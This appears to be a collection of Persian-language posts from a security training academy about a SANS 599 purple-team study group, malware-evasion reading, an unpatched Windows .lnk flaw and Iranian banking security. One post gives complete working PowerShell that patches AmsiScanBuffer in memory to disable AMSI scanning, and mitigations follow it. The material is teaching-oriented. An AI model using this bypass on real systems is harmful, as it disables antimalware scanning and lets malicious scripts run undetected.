سانس دوم : سنز ۵۹۹

همانطور که می دونین همخوانی کتاب Evasive Malware  امروز شروع شد

در ادامه  در گروه مربوطه دوره زیر سنز ۵۹۹ را هم به کمک دوستان Mohammad E. Taheri و Amir Mohammad Yektaei مرور میکنیم.
با تشکر از این دو همراه قدیمی




لینک اطلاعات و سرفصل و جزییات دوره 7 هزاردلاری سنز 599
https://lnkd.in/d_yczJgB

درحال حاضر صفحه ۱۷۵ کتاب روز اول سنز

لینک گروه
https://t.me/+2azCZP9ZQU1lMTc0

دوره اختصاصی آمادگی آزمون افتا از امروز در آکادمی روزبه ادامه پیدا می‌کند( شروع از ۲۹ اسفند ۱۴۰۳)

اگر میخواین تو چیزی موفق بشین باید مفهوم و پشت پرده رو هم درک کنید

#آکادمی_روزبه

https://clickhouse.com/blog/a-case-of-the-vanishing-cpu-a-linux-kernel-debugging-story

از مقاله ترند میکرو در مورد سابقه bypass ماژول AMSI

بخشی از مبحث درس سنز ۵۹۹ در گروه آموزشی نوروز

نوروز مبارک 🌸🌺
🍀🍀🍀💐بررسی بای پس AMSI در گروه نوروز سنز ۵۹۹ تیم بنفش با تحلیل کد های نمونه ادامه دارد


🍎🍏جزئیات و تحلیل کد در گروه زیر
نوروز و سنز 599 در آکادمی روزبه
https://t.me/+2azCZP9ZQU1lMTc0


🔹 تکنیک دوم: Hook کردن AMSI و دستکاری مقدار برگشتی

در این روش، به جای Patch کردن AmsiScanBuffer، مقدار برگشتی آن را دستکاری می‌کنیم تا همیشه نشان دهد که اسکریپت بی‌خطر است.

---

🔹 ایده کلی این روش
- این AMSI زمانی که یک اسکریپت در حال اجرا باشد، از تابع AmsiScanBuffer برای بررسی آن استفاده می‌کند.
- این تابع یک مقدار خروجی (AMSI_RESULT_CLEAN یا AMSI_RESULT_DETECTED) دارد.
- ما می‌توانیم مقدار خروجی را به‌صورت جعلی تغییر دهیم تا AMSI تصور کند که کد مخرب نیست.

---

🔹 کد PowerShell برای Hook کردن مقدار برگشتی AMSI

$Signature = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type -TypeDefinition $Signature -Language CSharp

# بارگذاری amsi.dll و گرفتن آدرس تابع AmsiScanBuffer
$AmsiDll = [Win32]::LoadLibrary("amsi.dll")
$AmsiScanBuffer = [Win32]::GetProcAddress($AmsiDll, "AmsiScanBuffer")

# تغییر سطح دسترسی حافظه به ReadWriteExecute
$OldProtection = 0
[Win32]::VirtualProtect($AmsiScanBuffer, [UIntPtr] 0x10, 0x40, [ref] $OldProtection)

# نوشتن مقدار جدید برای برگشت از تابع AmsiScanBuffer
$Patch = [Byte[]](0x31, 0xC0, 0xC3)
# 0x31, 0xC0 → دستور XOR EAX, EAX (مقدار برگشتی را 0 می‌کند)
# 0xC3 → دستور RET (بازگشت از تابع)

[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $AmsiScanBuffer, 3)


---

🔹 توضیح خط به خط کد

1️⃣ گرفتن آدرس تابع AmsiScanBuffer
- بارگذاری amsi.dll در حافظه.
- دریافت آدرس AmsiScanBuffer که وظیفه اسکن کدها را دارد.

2️⃣ تغییر سطح دسترسی حافظه
- VirtualProtect سطح دسترسی را به EXECUTE_READWRITE تغییر می‌دهد تا بتوانیم تغییرات ایجاد کنیم.

3️⃣ نوشتن Shellcode برای تغییر مقدار برگشتی
- [0x31, 0xC0] → این دستور رجیستر EAX را صفر می‌کند که معادل مقدار AMSI_RESULT_CLEAN است.
- [0xC3] → این دستور RET است که اجرای تابع را متوقف می‌کند.
- نتیجه: AmsiScanBuffer همیشه مقدار تمیز (CLEAN) برمی‌گرداند، حتی اگر کد مخرب باشد.

---

🔹 چرا این روش کار می‌کند؟
✅ به جای حذف AmsiScanBuffer، مقدار برگشتی آن را دستکاری می‌کنیم.
✅ این روش پایداری بیشتری دارد چون AMSI هنوز فعال است، اما مقدار خروجی‌اش تغییر کرده است.
✅ تغییر مقدار برگشتی، باعث می‌شود که AMSI حتی بدافزارهای شناخته‌شده را نیز بی‌خطر گزارش کند.

---

🔹 روش‌های مقابله با این حمله
🔸 فعال کردن Protected Process Light (PPL) که باعث می‌شود دستکاری حافظه amsi.dll سخت‌تر شود.
🔸 اجرای PowerShell در حالت Constrained Language Mode که مانع اجرای توابع خاص C# و APIهای ویندوز می‌شود.
🔸 شناسایی تغییرات مشکوک در amsi.dll با EDR و SIEM.
🔸 استفاده از آنتی‌ویروس‌هایی که Hooking را تشخیص می‌دهند.

---

🔹 جمع‌بندی
✅ این روش به جای غیرفعال کردن AmsiScanBuffer، مقدار برگشتی آن را تغییر می‌دهد.
✅ این تکنیک در بسیاری از بدافزارهای پیشرفته دیده شده است.
✅ شناسایی این روش سخت‌تر است چون هنوز amsi.dll فعال است.

#آکادمی_روزبه

خواندن کتاب Evasive Malware به فصل هفتم رسید

قبل از کلاس افتای امروز ؛ این مقاله رو خوندم گفتم شما هم داشته باشین

کلاس آمادگی آزمون افتا ساعت ۱۱
اختصاصی

#آکادمی_روزبه

https://wafflesexploits.github.io/posts/Hide_a_Payload_in_Plain_Sight_Embedding_Shellcode_in_a_Image_file/

مقاله جالب امشب که می‌خوانم

#آکادمی_روزبه

https://www.wietzebeukema.nl/blog/bypassing-detections-with-command-line-obfuscation

اینم خوب نوشته

#آکادمی_روزبه

https://intel471.com/blog/threat-hunting-case-study-rmm-software?utm_content=327770375&utm_medium=social&utm_source=linkedin&hss_channel=lcp-3744600

جمع بندی در انتهای همخوانی نوروز فصل ۸ کتاب بدافزارهای پیشرفته :

⛳⛳نکته مهم

همانطور که می‌دانیم سازمان‌ها لازم است سندباکس داشته باشند

اما فراتر از آن با خواندن این فصل و درک تکنیک های بدافزارها، فهمیدیم بدافزارها هم بی کار ننشسته اند و سند باکس را شناسایی و دور می‌زنند

پس لازم است نیروی متخصص تحلیل بدافزار در سازمان داشته باشیم یا شرکتی پشتیبان در این زمینه از سازمان ما حمایت کند

لذا فقط سندباکس نخرید
ضمنا به نظر میرسد با توجه به سرعت پیشرفت بدافزارها در شناسایی سند باکس ها؛ محیط های سند باکس اپن سورس و رایگان خیلی نتوانند موثر باشند یعنی برای سازمان‌های حساس توصیه نمیشوند لذا از سند باکس های تجاری استفاده شود که با فناوری‌های روز سریعتر پیشرفت میکنند

#آکادمی_روزبه

یک حرکت حرفه ای از سوی مرکز افتا که جای تقدیر داره

لینک دانلود ابزار شناساگر:

https://afta.gov.ir/fa-IR/Portal/1/news/view/14594/2203/Staging/

رمز فایل: afta@123


مرکزمدیریت راهبردی افتا
APT15

سایتی که قبلا هم معرفی کردم و الان فیچر های جدید گذاشته

لازم برای متخصصان EDR

#آکادمی_روزبه

**هرچیزی EDR نیست و برندهای EDR ها هم خیلی با هم متفاوت هستند

https://edr-telemetry.com/statistics

مهندسان کشف ؛ این کانورتر سیگما رو امتحان کنید

#آکادمی_روزبه

https://sinn.io/detection-studio/

اگر حجم مطالبی که با من در نوروز می‌خوانید زیاد است ؛ بدانید فراموشی پس از اولین دور خواندن طبیعی است لذا از این روش‌ها استفاده کنید تا مطالب در ذهنتان عمیق شوند

#آکادمی_روزبه

درس آموخته امشب از گروه نوروز درس سنز 599

۱- با استفاده از نسخه های جدید ویندوز ، فیچرهای امنیتی بیشتری در اختیار ما قرار می‌گیرد (Anti Exploit Features)

۲-فیچرها در نسخه های جدید ویندوز کمک موثری در کاهش احتمال اکسپلویت دارند اما نیاز به دقت در تنظیم آنها ، کار را زمان بر میکند

#آکادمی_روزبه

پیرو درخواست عزیزان در خصوص بررسی روشهای ارتقای بهره وری مطالعه

#آکادمی_روزبه

https://blog.faradars.org/n-%D8%B1%D9%88%D8%B4-%D8%B5%D8%AD%DB%8C%D8%AD-%D9%85%D8%B7%D8%A7%D9%84%D8%B9%D9%87-%D8%A8%D8%AF%D9%88%D9%86-%D9%81%D8%B1%D8%A7%D9%85%D9%88%D8%B4%DB%8C/

وصله نشده !!

آسیب‌پذیری ZDI-CAN-25373 یک نقص امنیتی در سیستم‌عامل ویندوز است که به مهاجمان اجازه می‌دهد با استفاده از فایل‌های میانبر (.lnk) دستورات مخرب را به‌صورت پنهان اجرا کنند. این آسیب‌پذیری از سال ۲۰۱۷ توسط حداقل ۱۱ گروه تهدید پیشرفته (APT) تحت حمایت دولت‌های مختلف از جمله کره شمالی، ایران، روسیه و چین برای جاسوسی سایبری و سرقت داده‌ها مورد سوءاستفاده قرار گرفته است. ​
نحوه حمله:
مهاجمان فایل‌های میانبر ویندوز (.lnk) را به‌گونه‌ای طراحی می‌کنند که شامل آرگومان‌های خط فرمان پنهان باشند. هنگامی که کاربر این فایل میانبر مخرب را باز می‌کند، دستورات مخرب اجرا شده و ممکن است منجر به اجرای کد دلخواه، نصب بدافزار یا سرقت اطلاعات شود. ​Trend Micro
کشف و مقابله با حمله:
شناسایی فایل‌های میانبر مشکوک: سیستم‌های خود را برای یافتن فایل‌های .lnk غیرمعمول یا ناشناخته بررسی کنید، به‌ویژه آن‌هایی که از منابع نامعتبر دریافت شده‌اند.​
نظارت بر رفتار سیستم: به دنبال اجرای فرآیندهای غیرمنتظره یا رفتارهای غیرعادی در سیستم باشید که ممکن است نشان‌دهنده اجرای کد مخرب باشد.​
استفاده از نرم‌افزارهای امنیتی به‌روز: اطمینان حاصل کنید که نرم‌افزارهای آنتی‌ویروس و امنیتی شما به‌روز هستند و قابلیت شناسایی و مسدود کردن تهدیدات مرتبط با این آسیب‌پذیری را دارند.​
آموزش کاربران: کاربران را در مورد خطرات باز کردن فایل‌های میانبر ناشناخته یا دریافت شده از منابع نامعتبر آگاه کنید و آن‌ها را تشویق کنید که در مواجهه با این‌گونه فایل‌ها احتیاط کنند.​
به‌روزرسانی سیستم‌عامل و نرم‌افزارها: هرچند مایکروسافت هنوز برای این آسیب‌پذیری وصله‌ای ارائه نکرده است، اما به‌روزرسانی منظم سیستم‌عامل و نرم‌افزارها می‌تواند به کاهش سطح حمله کمک کند.​
با توجه به اینکه این آسیب‌پذیری هنوز وصله نشده است، اتخاذ تدابیر پیشگیرانه و نظارت مداوم بر سیستم‌ها برای شناسایی و مقابله با تهدیدات احتمالی ضروری است.


#آکادمی_روزبه

از مجموعه کتاب‌های درسی سنز ۵۹۹ در گروه نوروز؛ امروز به صفحه ۱۷۷ کتاب سوم رسیدیم
https://t.me/+SLUdi310VsM5Yzg0

زمان تغییر ساختار و استخوان بندی مشاوران امنیت حوزه بانکی در ایران فرا رسیده است.

✍️روزبه نوروزی


بعنوان نظر خودم که ۲۳ سال تو حوزه امنیت این کشور کار کرده اینو میتونم بگم :

برقراری امنیت مثل یک ارکستر سمفونیک هست. اگر همه درست بزنند ؛ آهنگ درست و خوب پخش میشه . وگرنه یک نفر اشتباه بزنه کل آهنگ خراب میشه حالا دیگه مهم نیست از بهترین پیانیست داریم استفاده می‌کنیم یا رهبر ارکستر عالی داریم.

وجود SOC یا بسیاری از راهکارهای امنیت ، ضامن امنیت نیست مگر اینکه به خوبی در کنار هم تنظیم شده باشند.

شما بهترین SIEM و بهترین تیم SOC رو داشته باشی ولی IPS رو روی دوتا ویلن تنظیم نکرده باشی ممکنه دور بخوری .
یا وندور شما امنیت درونی اش درحد شما نباشد.



بخاطر تنظیمات ضعیف امنیتی ؛ بسیاری از سازمان‌های ایران الان هک شده اند ولی ظاهرش معلوم نیست چون هکر ایمپلنت خودش رو گذاشته تا روز مبادا بیدارش کنه

لذا باید منتظر هک های بیشتر بود
ضمنا هنر مذاکره و اطلاع رسانی در حوزه امنیت هنوز در ایران جا نیفتاده.

راهکار : حکمرانی امنیت ( خط مشی ؛ ساختار ، پلن ) ابزار ، نیروی انسانی آموزش دیده فرآیند در یک قالب سمفونیک وار
نه راهکارهایی برای رفع مسوولیت کردن و جزیره ای.
ولی مشکل بزرگ دیگه هم ثابت ماندن ساختار اصلی مشاوران حوزه امنیت بانکی ایران در این سالها علی رغم تمام مسائل است . کلونی ایجاد شده متاسفانه اجازه تغییر و بهسازی شرایط موجود را نداده است.